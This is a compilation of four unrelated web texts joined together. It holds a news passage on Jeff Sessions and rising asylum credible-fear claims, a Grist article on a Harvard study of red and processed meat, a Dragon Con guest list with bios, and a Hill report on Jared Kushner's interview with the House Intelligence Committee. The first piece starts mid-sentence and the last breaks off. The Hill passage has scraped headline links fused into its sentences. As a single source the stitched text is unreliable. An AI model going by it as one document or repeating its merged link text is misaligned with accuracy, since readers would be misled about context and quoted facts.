reports in January and February, I told them, ‘Give the administration some time to get their team in place to change policy. Because you can’t turn a battleship overnight.’ It’s now October.” Sessions said President Donald Trump has tried to change the practice but has run up against roadblocks. He noted that a backlog in immigration court cases roughly doubled from about 300,000 in 2011 to more than 600,000 last year. He said about 5,000 illegal immigrants in 2009 claimed they had a “credible fear” of returning to their homeland, triggering an asylum process. That ballooned to 94,000 last year, he said. “It’s not the policy. It’s just the reality that there are so many people claiming and being entitled to hearings that we don’t have the ability to provide those hearings,” Sessions said. “And they are being released into the community and they’re not coming back for their hearings. It’s still unacceptable.” Sessions said 50 new immigration judges have been hired this year and that he expected 40 more to come on board by January. He said this would help whittle down the case backlog, but he called on Congress to expedite the asylum process. Advertisement “Those people are basically entitled to hearings. And this is a loophole that’s too big. And we need to create some sort of control over it,” he said. “We are looking at if there are any things that we can do effectively, short of legislation. But there’s no doubt, Mr. Chairman, we need legislation on this subject and several others.” Immigration and Customs Enforcement (ICE) representatives could not immediately be reached for comment Thursday. [lz_table title=”‘Credible Fear Scrutiny'” source=”U.S. Citizenship and Immigration Services”]Percentage of “credible fear” claims approved |Month,Fear Found October,76.3% November,80.8% December,74.8% January,80.7% February,78.1% March,71.2% April,73.3% May,70.2% June,68.1% [/lz_table] Brandon Judd, president of the union that represents U.S. Border Patrol agents, said his agency has returned to pre-Obama practices. Under Obama, Border Patrol agents were under orders to release anyone claiming to have been in the United States since before Jan. 1, 2014, as long as they did not pop up during a criminal background check. The agency also released other illegal immigrants caught near the border after issuing notices for them to appear for immigration court hearings. But a large percentage of them never appeared for those hearings. “Under the Obama administration, it got almost to the point where we were releasing everybody,” he said. Advertisement That has changed, Judd said. Now, border agents transfer apprehended illegal immigrants to ICE. But he said some ICE offices are still releasing people with instructions to return to court, particularly youths coming from Central America and adults traveling with them. Judd said it is contrary to the spirit of Trump’s policy and one of the reasons why border crossings have been rising for months after sharp declines that initially occurred after Trump took office. “It is something that upsets our agents because that sort of thing gets back to other countries,” he said. “People know that we’re still releasing people … We’re not carrying out the rhetoric the way I believe it was intended to.” Ira Mehlman, a spokesman for the Federation for American Immigration Reform, said the rising border crossings are a signal that lawmakers need to act with urgency. “It is important for Congress to get to work for more judges, more detention spaces, all of the things that expedite the process,” he said. Advertisement Jessica Vaughan, director of policy studies at the Center for Immigration Studies, said she believes a lack of detention space plays a role in some cases. So, too, does a 2015 ruling by a federal judge in California ordering the release of minors and their mothers who had been caught crossing the border without permission, she said. A three-judge panel of the 9th U.S. Circuit Court of Appeals in July upheld U.S. District Judge Dolly Gee’s ruling. When illegal immigrants tell Customs and Border Protection officials that they fear persecution if they are returned home, it triggers what can be a long process. First, a customs officer makes an initial determination and then schedules the person for a hearing to determine if asylum will be granted. If the illegal immigrant loses, he or she can appeal to an immigration judge. [lz_related_box id=”853440″] Vaughan said that under lax standards during the Obama administration, the government accepted the vast majority of “credible fear” claims. Statistics published by U.S. Citizenship and Immigration Services indicate the new administration has applied a bit more scrutiny. During the first four months of fiscal year 2017 — during Obama’s presidency — the government found credible fear had been established in 79 percent of cases. That dropped to 73 percent during the next month months under Trump. Advertisement Vaughan said illegal immigrants who come to the border should be directed to Mexico City to apply for asylum at the U.S. embassy. If they have to wait in Mexico for an extended period of time, she said, it likely would serve as a deterrent. Vaughan said the eighteenfold increase in “credible fear” claims since 2009 is the result of coaching by smuggling organizations and not an increase in oppression in Central and South America. “The conditions are the same,” she said. “This is the result of people realizing if they make it to the border, they will be let in and allowed to stay for an indefinite period of time — years at a minimum.” -The meat industry has fallen on hard times. After a steady decline in meat consumption in past years, it took a couple of hard hits last month, with the breaking of the pink slime scandal, followed a week later by the publication of a Harvard study linking red meat to a higher mortality risk. If you’re feeling a little less hungry for a burger these days, it’s no wonder. Pink slime aside, does red meat really deserve such a bad name? Or is it what’s added to red meat that’s to blame? The Harvard study was not the first to suggest that red meat is bad for us, but it was the first to differentiate unprocessed and processed red meat and identify a relatively greater risk involved when eating a processed product than, say, pure, unadulterated steak. What makes processed meat worse? The study authors surmise it’s the additives and preservatives. You probably noticed the headlines that followed the Harvard study’s publication: “All Red Meat is Risky, a Study finds” and “Eating All Red Meat Increases Death and More Reasons to Never Eat Meat.” And yes, the authors who evaluated the health and diet of over 120,000 health professionals between 1980 and 2006 did find that study participants who ate a daily serving of unprocessed red meat (a three-ounce serving of beef, pork, or lamb as a main dish, mixed dish, or in a sandwich) had a 13 percent greater chance of death during the study. Part of the issue is quantity. A daily serving of red meat, seven days a week, 365 days a year — not surprising to anyone — is going to be risky. The authors also note that the participants who ate the most red meat were less likely to eat healthier alternatives, such as fish, poultry, and whole grains, which are all foods associated with a reduced risk of death. “We know that variety is the spice of life,” said Joan Salge Blake, a registered dietitian and spokesperson for the Academy of Nutrition and Dietics, who was not involved in the study. “A high intake of red meat is going to displace more nutritious foods in the diet that are correlated to reducing disease.” The source of the meat may be an issue, as the study did not differentiate between grass-fed and free-range meat from industrially produced meat. “This is still an open question,” study co-author and professor of medicine at Harvard, Frank Hu, said in an email. “It is possible that grass-fed and grain-fed beef have different health and environmental effects, but there is no data at this point whether the grass-fed vs. grain-fed beef would have different effects on long-term chronic diseases and mortality. Certainly, more studies are needed to look at this issue.” On her blog Summer Tomato, scientist and health writer Darya Pino points out that we can probably assume that the participants were eating industrially produced meat. She writes: Given the time during which the study took place, it’s unlikely that any of the participants were eating non-industrial, grass-fed and pastured meat. I think this is an important point, particularly when considering cancer mortality, since toxic compounds tend to accumulate in the fat of animals. Considering all this, a more apt headline may have been: “Eating Industrial Meat with No Moderation is Madness.” So it’s possible that lean, grass-fed beef, which has less saturated fat and more omega-3 fatty acids and antioxidant vitamins, may actually have a place (once in a while) in a “heart-healthy diet.” This may be the type of red meat that An Pan, the study’s lead author and research fellow at the Harvard School of Public Health in Boston, is eating once or twice a week, a frequency he admitted to the Los Angeles Times. Though he did say that he’s forgoing bacon and other processed meats all together. Based on the study results, it’s not hard to see why. In addition to finding that a daily serving of unprocessed red meat increased participants’ mortality risk by 13 percent, the authors found that those who ate a daily serving of processed red meat (i.e., two slices of bacon, one hot dog, a piece of sausage, salami, bologna, or other cold cut) had an increased risk of death of 20 percent. Furthermore, the study found that hot dogs and bacon are associated with a higher risk than other processed red meats. So what does “processed” mean as it applies to meat? According to the Food and Agriculture Organization of the United Nations (FAO), meat becomes processed when it undergoes a processing technology (grinding and mixing, heat treatments, drying, etc.) as well as treatment (salting, curing with nitrites, etc.) for taste, texture, and preservation. There are all kinds of processed meats, and the FAO groups them into six broad categories according to processing technology. If you look closely at the categories, it’s apparent that some processed meats are more processed than others. Sausage, which falls into the category of “fresh, processed meat products,” is less processed since it remains “fresh” or raw throughout processing. A hot dog undergoes more processing, as a “raw, cooked-meat product because it undergoes a heat treatment that gives it its “firm-elastic texture.” Bacon receives more processing as a “cured cooked meat product.” Unlike sausage or hot dogs, bacon is an entire piece of muscle meat. It’s cured with a nitrite solution and then undergoes a heat treatment to reach “the desired palatability.” The most processed meats of all are products that fall into the “pre-cooked, cooked meat product” category, which undergo two heat treatments and include products such as blood sausage, liver pate, and corned beef in cans. (And don’t ask, because I have no idea where pink slime fits into all this.) Why does processing make red meat worse for us? The study authors point to additives and preservatives as likely suspects for the “additional harm.” Get Grist in your inbox Always free, always fresh. The DailyThe BeaconThe Weekly Ask your climate scientist if Grist is right for you. See our privacy policy Suspect No. 1: Nitrites: added for flavor and to preserve meat’s pink color and extend shelf life. The authors cited studies linking blood nitrite levels to a disorder affecting the inner lining of the blood vessels and impaired insulin response. Nitrites can also convert to carcinogens, but the addition of ascorbic acid (vitamin C) or ethyorbic acid inhibit their formation. You can find uncured bacon in the grocery store, though these products still contain naturally derived nitrites. And since the carcinogens form during high-temperature cooking, it’s best to avoid charring your hot dogs or eating very well-done or burnt bacon. Suspect No. 2: Salt (sodium): added to meats as a preservative and as a powerful flavor enhancer. High sodium intake is linked to high blood pressure, which increases the risk for heart disease and stroke. Two slices of bacon can contain as much as 460 milligrams of sodium, 19 percent of the recommended daily intake. A bun-length frank can contain up to 550 milligrams of sodium, amounting to nearly one-quarter of the recommendation. Add a bag of potato chips, and you can easily eat half the sodium you should eat in a day in a single sitting. With suspects No. 1 and No. 2 operating side-by-side, it’s no wonder they’re exacting a high cost on health. The irony of this bad news about bacon is that sodium and nitrites are industry additives — the meat itself is innocent. (Well, not really: Bacon’s still got ne’er-do-wells saturated fat, cholesterol, and heme iron lurking around.) But what seems clear is that we’re making red meat worse for us by processing it. So, if you must eat red meat, the latest science says, eat it unprocessed, and in moderation (once or twice a week at most). The healthiest red meat is most likely from the happiest animals — raised outside confined animal feeding operations, and on pasture. And in the mean time: Why not eat more plants? -For a list of guests, performers, and attending professionals ordered by confirmation date, please click here. A Jarrod Carl Alberich Jarrod “The Yard Sale Artist” Alberich is the creator of the comic book, Hamilton vs. Burr: A Werewolf Tale. He is also a trading card artist for Marvel & Upper Deck. He’s currently working for White Rocket Books providing cover art for novels & inking the Cold Lightning comic book. Kevin J. Anderson Kevin J. Anderson has published 140 books, more than 50 of which have been national or international bestsellers. He has written numerous novels in the Star Wars, X-Files, and Dune universes, as well as a unique steampunk fantasy novel, Clockwork Angels. >> >> Back to Top B » Tom Bancroft Tom Bancroft has 30 years of experience in the animation industry, much of which was for Walt Disney Feature Animation where he was an animator on shorts and feature films of which Beauty and the Beast, The Lion King, Aladdin, Pocahontas, Mulan, and Brother Bear were part of the list. Drew A Blank Drew Blank is an artist and writer known for the indie novel Memoirs of an Antihero and his children’s book Aldo Tanners! Where Are Your Manners?! Blank has also developed a huge following with his collection of fake album art, horror children’s art, adult coloring books, and enamel pins. Patricia Briggs Patricia is the bestselling author of the Mercy Thompson series and the Alpha and Omega series. She has published 26 books and has short stories in several anthologies, as well as a series of comic books and graphic novels based on both of her series. Ed Brisson Ed Brisson is a comic book writer who first started to garner attention with his self-published crime series Murder Book and the crime/time-travel thriller series Comeback. He’s written and co-created four other series published by Image: Sheltered, The Field, The Mantle and The Violent. Jason Bulmahn Jason Bulmahn is the Director of Game Design at Paizo Inc. He was the creator of the Pathfinder tabletop roleplaying game and the team leader behind the second edition. Over his 20-year career, Jason has written dozens of books and articles for Paizo, Wizards of the Coast, Modiphius, and more. James Burns James Burns is a graphic designer, illustrator, and comic artist. He creates autobiographical comics, notably his long-running Grumbles series. In 2002, he was diagnosed with a detached retina, which threatened his eyesight. After recovering, he wrote and drew his first comic book, Detached, about that experience. Jim Butcher Jim Butcher is the author of the Dresden Files, the Codex Alera, and a new steampunk series, the Cinder Spires. His resume includes a laundry list of skills which were useful a couple of centuries ago, and he plays guitar quite badly. >> >> Back to Top C Rachel Caine Rachel Caine is the New York Times, USA Today, Amazon Charts, and #1 Wall Street Journal bestselling author of more than 50 novels, including the internationally bestselling Morganville Vampires, Stillhouse Lake, Weather Warden, and Great Library series. She's written in many genres and categories. » Jack Campbell Jack Campbell (John G. Hemry), a retired US Navy officer, writes the New York Times best-selling Lost Fleet series, Genesis Fleet series, Lost Stars series, and "steampunk meets high fantasy" Pillars of Reality series. His most recent books are Triumphant, Pirate Of The Prophecy, and the Corsair comic series. Cecil Castellucci Cecil Castellucci is an award-winning author of novels and comics for young people including Shade, The Changing Girl, Boy Proof, The Plain James, Soupy Leaves Home, Don't Cosplay with My Heart, and the New York Times bestselling Moving Target: A Princess Leia Adventure. » Ray Chase Ray Chase is a voice actor most known as Noctis (Final Fantasy XV). You may also know him from Kingdom Hearts (Master of Masters), One-Punch Man (Puri Puri Prisoner), My Hero Academia (David Shield), and Persona 5 (Subway Announcer). He’s also a founding member of Loud, Annoying, and Very Annoying. Ciruelo Fantasy artist Ciruelo was born in Argentina and has been living in Spain since 1987. He worked for publishing houses in Europe and in the United States illustrating book covers, prints, calendars and trading cards with dragons as the main subject. He is currently writing and illustrating his own books. Sean Andrew Copeland Sean Copeland is the Historian Supervisor of Creative Development at Blizzard Entertainment where he oversees its team of historians. This team enables developers to create with confidence for Blizzard’s blockbuster franchises including World of Warcraft, Overwatch, Hearthstone, StarCraft, Diablo, and Heroes of the Storm. >> >> Back to Top D » Robbie Daymond Robbie Daymond is a voice-actor who has voiced characters such as: Spider-man/Peter Parker in Marvel’s Spider-man, Tuxedo Mask in Sailor Moon, Prompto in Final Fantasy XV, Akechi in Persona 5, Sorey in Tales of Zestiria, Mumen Rider in One Punch Man, and Raymond in OK-KO among others. Keith R.A. DeCandido Keith R.A. DeCandido has written an appalling amount of fiction, both in 30+ media tie-in universes from Alien to Zorro, and in worlds of his own creation in the fictional cities of Cliff's End and Super City and the somewhat real cities of New York and Key West. Dan dos Santos Well known for his colorful oil paintings, Dan dos Santos' work includes novels, comics, film, and video games. He has worked for clients such as Disney, Universal Studios, Activision, Boeing Aircraft, Scholastic Books, The Greenwich Workshop, Penguin Books, Random House, UpperDeck, Hasbro, DC Comics, and many more. Margaret Downey-Schottmiller Margaret Downey created a character known as The Friggatriskaidekaphobia Treatment Nurse in order to teach critical thinking skills every Friday-the-Thirteenth. Margaret Downey founded the Freethought Society (FS) and the Anti-Discrimination Support Network (ADSN) in 1993. In 1994 Margaret founded the Thomas Paine Memorial Committee. >> >> Back to Top E Gigi Edgley Gigi Edgley is an internationally renowned actress. Edgley has starred in countless film and television series including Farscape, Jim Henson's Creature Shop Challenge, FX's Feud, USA’s The Starter Wife, Kringle Time, Enuattii, Diminuendo, SyFy’s Showdown at Area 51, Quantum Apocalypse, Peacekeeper Wars, Beastmaster, Lost World, Star Trek Continues, and Nexus. » Larry Elmore Larry Elmore is one of the world's leading fantasy artists. His works have graced the covers of National Lampoon, Heavy Metal, and Dragon magazine, among others. He is best known for his covers for the original Dragonlance novels. Elmore makes Dragon Con an annual event. Joanna Estep Joanna Estep is the critically acclaimed illustrator of such titles as The Fantastic Four (Marvel Comics), Bitch Planet (Image), Death Head (Dark Horse), and The Thrilling Adventure Hour (Boom!/Archaia). Her work has earned her the S.P.A.C.E. Prize, and nominations for Eisner and Harvey awards. Kacey Ezell Kacey Ezell is a USAF helicopter pilot who writes sci-fi/fantasy/alt history. She was a Dragon Award finalist in 2018, and her stories have twice been featured in Baen’s Year’s Best Mil/Adventure SF compilation. In 2018, her story won the 2018 Baen Reader’s Choice Award. >> >> Back to Top F Mike Faber Mike Faber is the founder and CCO of the geeky and ever expanding ESO Network. He hosts The Earth Station One and Earth Station Who podcasts. He teaches and mentors new podcasters on starting and producing new projects. The ESO Network celebrates all things sci-fi, fantasy and much, much more. Bill Fawcett Bill Fawcett & Associates has packaged and edited over 400 Science Fiction novels, two Navy SEALs histories and other military titles. He co-authored Mycroft Holmes Mysteries and has written numerous non-fiction books, many on great mistakes in Hhistory. He was a founder of Mayfair Games and still designs board and computer games. » Esther Friesner Nebula Award winner Esther Friesner is the author of over 40 novels, 200 short stories, and has edited numerous anthologies. Her best known, most popular works are the Chicks in Chainmail series (Baen Books) and the Princesses of Myth series (YA historical from Random House.) » Bryan Scott Fyffe Bryan Fyffe is a commercial illustrator focused on works rich in color and steeped in dark atmosphere. His work has been featured in publications from Dark Horse Comics to the galleries of Disney. He lives and works in Kansas City. >> >> Back to Top G Gawki Gawki is a bold illustrator of fantastical, surreal creatures and characters that spawn only from her brain soup. Ki is known for being in Spectrum 4 times, her interesting use of color, and for establishing the Drawtober art challenge with Vonnart where 2000 artists participated the first year. Rick John Goldschmidt Rick Goldschmidt has been the official Rankin/Bass Productions historian/biographer for over 30 years and has authored six books. He worked with producer Arthur Rankin, Jr. who produced Thundercats, Rudolph The Red-Nosed Reindeer, The Hobbit, and more! Rick appears around the country at conventions and has done award-winning panels. >> >> Back to Top H Scott Hanna An Eisner Award-winning artist in the graphic novel industry, Scott Hanna has been drawing and inking comic books for over 30 years. His work has been published in over 1,000 comics and graphic novels, and he’s inked over 23,000 pages of comics art. John G. Hartness John G. Hartness is an author, publisher, and podcaster from Charlotte, NC. He is the author of multiple novel series, co-founder and publisher of Falstaff Books, and a member of the Authors & Dragons podcast. He spends far too much time and money playing Magic: the Gathering. Bill Holbrook Bill Holbrook is the creator of the daily comic strips On the Fastrack, Safe Havens, and Kevin & Kell. The later debuted in 1995 and is the longest continually-running webcomic on the Internet. In 2016 he was nominated by the National Cartoonists Society for Best Webcomic (Short form). >> >> Back to Top I Samantha Inoue-harte Samantha Inoue-Harte is a 20 year veteran in the entertainment industry. She stars in the James Cameron/Robert Rodriguez Alita: Battle Angel movie, is a anime producer with two series on Netflix, and is most known as the voice of Chocobo from Final Fantasy Unlimited in her voice acting career. >> >> Back to Top K Bill Keel Astronomer Bill Keel, author of The Sky at Einstein's Feet and The Road to Galaxy Formation, has appeared at Dragon Con since 2004. He hosts annual overnight Live Astronomy sessions and has spoken on cosmology, extrasolar planets, citizen discovery in astronomy, science in pop-culture universes, spy satellites, and astronomical tourism. Alethea Kontis Alethea Kontis is a voice actress and award-winning author of over 20 books. A former student of Jane Yolen, Andre Norton, and Orson Scott Card, Alethea is the host of Princess Alethea’s Traveling Sideshow at Dragon Con. She lives on the Space Coast of Florida with her teddy bear, Charlie. >> >> Back to Top L Greg Land Greg Land has been a professional illustrator for 34 years, the past twenty- something as a comic book artist. Some past projects include The Uncanny X-Men, Iron Man, Mighty Avengers and The Ultimate Fantastic Four, The Uncanny X-Men, Monsters Unleashed, Sojurn, and Weapon X, among others. >> >> Back to Top M Jonathan Maberry Jonathan Maberry is a New York Times bestselling author, 5-time Bram Stoker Award winner, and comic book writer. He writes the Joe Ledger thrillers, the Rot & Ruin series, the Nightsiders series, the Dead of Night series, as well as standalone novels in multiple genres. Mari Mancusi Mari Mancusi is a multiple Emmy award-winning TV producer and author of more than two dozen sci-fi/fantasy books for kids, teens, and adults including Gamer Girl, the Scorched series, The Blood Coven Vampires, and her newest series, The Camelot Code: The Once and Future Geek, published by Disney Books » Brianne Marie Brianna Marie is co-owner of the Dungeons and Randomness podcast, as well as co-host on many other podcasts such as Good Morning Theria and The Buffy Breakdown. For the past year she has been handcuffed to her desk writing the setting book for Theria with her partner Jason Massey. Gail Z. Martin Gail Z. Martin writes epic fantasy, urban fantasy and steampunk for Solaris Books, Orbit Books, and Falstaff Books. Series include Darkhurst, the Chronicles Of The Necromancer, the Fallen Kings Cycle, the Ascendant Kingdoms Saga, the Assassins of Landria, the Night Vigil, and Deadly Curiosities. Lee Martindale Lee Martindale is known for teaching writers’ workshops, editing the anthologies Such a Pretty Face and The Ladies Of Trade Town, and stories in anthologies edited by Marion Zimmer Bradley, Esther Friesner, Diana Paxson and more. Her short fiction currently appears in the collection Bard’s Road. » Jason Massey Jason Massey is professional Dungeon Master and a co-owner/host of the Dungeons and Randomness podcast. Since 2012, it has grown into a huge show and his full time profession. He has just finished writing a setting book for his campaign setting in Theria alongside his partner Brianna Marie. Mika McKinnon Mika McKinnon is a sci-fi scientist, disaster researcher, geophysicist, journalist, and irrepressibly enthusiastic about doom. Currently, she gleefully interjects truth for far stranger fiction for projects still within the veil of not-yet-aired secrecy and is a science communicator with work on BBC, New Scientist, io9, Gizmodo, Ars Technica, and others. » Mike McKone Mike McKone’s first published work was for DC Comics’ Justice League of America and Marvel Comics’ Punisher series. In the years since he has illustrated almost every major character for the big two publishers, including lengthy runs on Teen Titans, Amazing Spider-Man, and Fantastic Four Mark Meer Mark Meer stars as the voice of Commander Shepard, Blasto, Niftu Cal, the Vorcha, and more in Bioware's Mass Effect Trilogy. Other voice work includes the Baldur's Gate and Dragon Age series, Hinterland Studio's The Long Dark, 1980's horror homage Slayaway Camp, and Chapterhouse Studio's Captain Canuck animated series. Sarah Milkovich Dr. Sarah M. Milkovich is the Science Operations Team Chief for the Mars 2020 Rover at NASA Jet Propulsion Laboratory. Sarah specializes in the science operations of robotic spacecraft, bridging the science and engineering teams. She has previously worked on Mars Phoenix, Cassini-Huygens, Mars Science Laboratory, and Mars Reconnaissance Orbiter. » Max Mittelman Max Mittelman has been entertaining audiences since high school, but you're likely most familiar with his work as the voice of Saitama (One-Punch Man), Ryuji Sakamoto (Persona 5), Plagg (Miraculous Ladybug), and King (Seven Deadly Sins). He also voices Harry Osborn (Disney XD's Marvel's Spider-Man) alongside best friend Robbie Daymond. Rebecca Moesta Rebecca Moesta has written novels in the Buffy the Vampire Slayer and Junior Jedi Knights series, and with husband Kevin J. Anderson, she wrote the Crystal Doors trilogy, fourteen Young Jedi Knights novels, six novelizations, lyrics for two rock CDs, graphic novels, and pop-up books. Jorge Molina Jorge Molina is a Mexican comic artist and illustrator. He has been working exclusively with Marvel for the past couple of years, drawing titles such as A- Force, Star Wars, X-Men Blue, and many more. He is the current artist for the latest spidey event, Spiddergedon. James A. Moore James A. Moore is the bestselling and award-winning author of over 40 novels, thrillers, dark fantasy and horror alike, including the critically acclaimed Fireworks, Under The Overtree, Blood Red, the Serenity Falls, and his most recent novels, The Tides of War series and Avengers: Infinity. » Sabutai Musashi Sabutai Musashi is the current Grandmaster of Ninkage ryu bujutsu; a Japanese martial arts system that includes empty-handed study such as Aikijutsu, weapons study, such as Kenjutsu and Iaijutsu, and internal arts. Grandmaster Musashi and his students have provided exciting demonstrations of Ninkage ryu at DragonCon since 2005. >> >> Back to Top N Bobby Nash When not wandering around the con, star struck, award-winning author Bobby Nash writes novels, comic books, short stories, graphic novels, and more. Nash is a member of the International Association of Media Tie-in Writers and International Thriller Writers. 2019 will be his 31st Dragon Con. Jai Nitz Jai Nitz is a comic book writer of Latino descent who has worked for DC, Marvel, Dark Horse, Image, Disney, and other publishers. He co-created El Diablo with Phil Hester and he co-created Dream Thief with Greg Smallwood. El Diablo made his big screen debut in 2016's Suicide Squad. Jody Lynn Nye Jody Lynn Nye has written dozens of books and over 160 short stories, most of them with a humorous bent. Her latest books are Rhythm of the Imperium (Baen), Moon Tracks (with Travis S. Taylor, Baen), and Myth-Fits (Ace). She also teaches the annual Dragon Con Two-Day Writers Workshop. >> >> Back to Top P Dan Parent Dan Parent is a comic book artist and writer best known for his work for Archie Comics. He has also written and/or illustrated for DC Comics, Marvel Comics, Felix the Cat Productions, Mattel, IDW, Boom, Valiant Comics, Chapterhouse comics, and Harpercollins to name a few. Bob Pendarvis Bob Pendarvis taught the very first comics and animation illustration classes at the Savannah College of Art and Design, going on to create the school's Sequential Art BFA and MFA programs. He is currently working on a series of art education graphic novels designed to inspire girls to be artists. Diana Peterfreund Diana Peterfreund is the author of over two dozen books for adults, teens, and children, including the Omega City series for kids, the Killer Unicorns series for teens, the upcoming Clue novels, and the critically acclaimed post-apocalyptic retelling of Jane Austen’s Persuasion: For Darkness Shows the Stars. Van Allen Plexico Van Allen Plexico is the multi-award-winning author of more than twenty novels including the Sentinels superhero novel series and the Shattering space opera series, plus the best-selling crime novel VEGAS HEI$T, and military SF such as ALPHA/OMEGA, and the Cold Lightning comic book series. Tim Powers Award-winning Tim Powers is the author of numerous novels including Hide Me Among the Graves, Three Days to Never, Declare, Anubis Gates, Last Call, and On Stranger Tides, which inspired the feature film Pirates of the Caribbean: On Stranger Tides. Cherie Priest Cherie Priest is the author of two dozen books and novellas, most recently The Agony House, Family Plot, and the hit YA project I Am Princess X. She is perhaps best known for the steampunk pulp adventures of the Clockwork Century, beginning with Boneshaker. >> >> Back to Top R » Trina Ray Trina Ray is an Investigation Scientist for the ice penetrating radar instrument on NASA’s newest flagship mission - Europa Clipper. She worked on the Cassini-Huygens Mission to Saturn (JPL/NASA) for over 20 years, specializing in Titan, and is an active public speaker, invited to give many talks around the nation. Corinne Roberts Corinne Roberts writes and illustrates the ongoing web comic series Out and About. She has written/illustrated Trip to Trekka and Imaginary Sea 1,2,3! Along with her books, she illustrated the web comic, Kitty Game and the card game, Unreal Estate. She is releasing/announcing two more comics in 2019. >> >> Back to Top S Noel Saabye With 25 years in the animation industry, Noel Saabye has had the opportunity to work with some exciting companies that include Cartoon Network, Warner Bros., Disney, PBS, Mattel and Activision. Saabye continues to work as an animator and has his hands in several recent independent comic book titles. Brandon Sanderson Literary Guest of Honor Brandon Sanderson’s novels are the Mistborn books, The Stormlight Archive, which includes the Dragon Award winning Oathbringer, his most recent bestseller The Rithmatist, and Steelheart, among others. He completed the final volumes of Robert Jordan’s Wheel of Time series and is published in 35 languages. Richard Saunders Richard Saunders starred as the Skeptical Judge on the TV show The One: The Search for Australia's Most Gifted Psychic. He is the host of the weekly podcast The Skeptic Zone, in its 11th year. An origami expert and children’s author, CSI Fellow, and life member of Australian Skeptics. Scott Sigler #1 New York Times bestselling author Scott Sigler is the creator of 15 novels, six novellas, and dozens of short stories. He gives away his stories as weekly, serialized, audiobooks, with over 40 million episodes downloaded. Scott launched his career by releasing his novels as author-read podcasts. Thomas E. Sniegoski Thomas E. Sniegoski is a New York Times bestselling author of books for adults, children, and teens. He is also a comic book scripter who has worked for just about every major comic book publisher and is the author of the ground-breaking teen series The Fallen. Anne Sowards Anne Sowards is an executive editor at Penguin Random House. Some of the great authors she works with include New York Times bestsellers Jim Butcher, Patricia Briggs, Charlaine Harris, Ilona Andrews, Taylor Anderson, Anne Bishop, Rachel Caine, Jack Campbell, Karen Chance, and Stephen R. Donaldson. Eric P. Spana Eric Spana is a biology professor at Duke University specializing in genetics and molecular biology who explains the unusual and fantastic occurrences in science fiction, fantasy, and video games using the biological mechanisms already identified on Earth. Sometimes he has to point out the really, really bad science, too. Michael Stackpole Michael A. Stackpole is a New York Times bestselling author and award-winning novelist, graphic novelist, podcaster, game designer, computer game designer, and screenwriter. He has worked in the franchise worlds of Conan, Star Wars, BattleTech, ShadowRun, Dark Conspiracy, World of Warcraft, and Magic: The Gathering. Kim Steadman Kim Steadman is a system engineer at NASA’s Jet Propulsion Laboratory. Currently she is a Tactical Uplink Lead for the Curiosity Rover and a Science System Engineer for the Mars 2020 Rover. Her job is to enable science while keeping the rover safe and happy. E.J. Stevens E.J. Stevens is the bestselling, award-winning author of the Ivy Granger Psychic Detective urban fantasy series, the Spirit Guide young adult series, the Hunters' Guild urban fantasy series, and the Whitechapel Paranormal Society Victorian horror series. Her books are available worldwide in multiple languages. S.M. Stirling S.M. Stirling was born in France. His latest books are The Sea Peoples (October, 2017), Black Chamber (July 2018) and The Sky-Blue Wolves (October, 2018). His hobbies include history, anthropology, archaeology, and travel. He also pursued the martial arts, until knees. >> >> Back to Top T Jonathan Tarbox Jake Tarbox spent most of his adult life in Japan, working as a media manager and television personality. After working at Coamix Inc. as senior editor of Raijin Comics, he took the position of Group Editor at DC Comics. He now runs Arashi Productions. Roy Thomas Roy Thomas is a legendary comic book writer and editor, who was Stan Lee's first successor as editor-in-chief of Marvel Comics. He is known for co-creating some of comics' greatest characters such as Wolverine, Carol Danvers, Morbius, the Vision, Iron Fist, and Ultron. Jamie Tyndall Jamie Tyndall is a penciler, inker, and colorist with over seven years of experience. Tyndall has worked for various publishers including Zenescope , IDW Entertainment, Valiant Entertainment, Lady Death, Contraband, Absolute Comics, and Stan Lee’s POW Entertainment. His newest project is White Widow under Absolute comics. >> >> Back to Top W Mark H Wandrey Bestselling author of military sci-fi and zombie apocalypse, Mark Wandrey has been creating new worlds since he was old enough to hold a pen. Three time Dragon Award finalist as well as author of 16 novels and growing, he’s just getting started. Jean Marie Ward Jean Marie Ward writes fiction, nonfiction and everything in between. Her credits include a multi-award nominated novel, two popular art books and editing CrescentBlues.com. Her short stories have appeared in ASIMOV’s and numerous anthologies, and her video interviews are featured on BuzzyMag.com. Chris Warner H. C. Warner produced the first install for Dragon Con's Pop Art & Comic show at the Sheraton in 2007. Over the past 20 years, he owned and operated Alcove Gallery, producing monthly shows, designing and building installations in the heart of one of Atlanta’s most art-centric boroughs. David Weber David Weber has perpetrated over 60 solo and collaborative novels and an unconscionable number of anthologies upon an innocent and unsuspecting public. He is perhaps best known for his character Honor Harrington, whom he hopes never to meet in a dark alley. David Thorn Wenzel David Thorn Wenzel has been part of the fantasy movement since the 1970s. He has continued to work on fantasy projects in the children's book, trade book and graphic novel markets. Wenzel's better known books include The Hobbit graphic novel and the newly released Kingdom of the Dwarfs. Michael Z. Williamson Michael Z. Williamson is a multiple bestselling, award winning author and editor in science fiction and a #1 Amazon bestseller in political humor. An immigrant from the UK and Canada, he served 25 years in the US Army and USAF. Williamson also consults on TV and movie productions. >> >> Back to Top Y Chelsea Quinn Yarbro In her 49-year-long career, Chelsea Quinn Yarbro has sold 97 books and 83 shorter works in many genres. She is best-known for her Saint-Germain series of historical horror stories. She writes in a number of genres and under five different pseudonyms. >> >> Back to Top -The House Intelligence Committee is slated to interview President Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE's son-in-law and adviser Jared Kushner on Tuesday, according to a committee announcement. The White House aide's appearance is part of the panel's ongoing probe of the Trump campaign's ties to Russia amid the Kremlin's possible interference in the U.S. election. Kushner is reportedly also meeting behind closed doors on Monday with the Senate Intelligence Committee, which is also probing Russia's meddling in the 2016 presidential campaign. ADVERTISEMENT Lawmakers are expected to press Kushner about his attendance at a June 2016 meeting between Donald Trump Jr. and a Russian lawyer who was presented as having damaging information on Democratic presidential rival Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE. Trump Jr. and former Trump campaign chairman Paul Manafort have agreed to interviews with the Senate Judiciary Committee, the panel announced Friday, while the committee has sent a subpoena to compel testimony of the co-founder of a firm tied to a controversial research dossier on the president. Trump Jr. and Manafort, who both attended the meeting with the Russian lawyer last summer, were listed as witnesses for a Judiciary hearing on Wednesday but have not confirmed they will testify, lawmakers have said. -The contents of this page have not been reviewed or endorsed by the 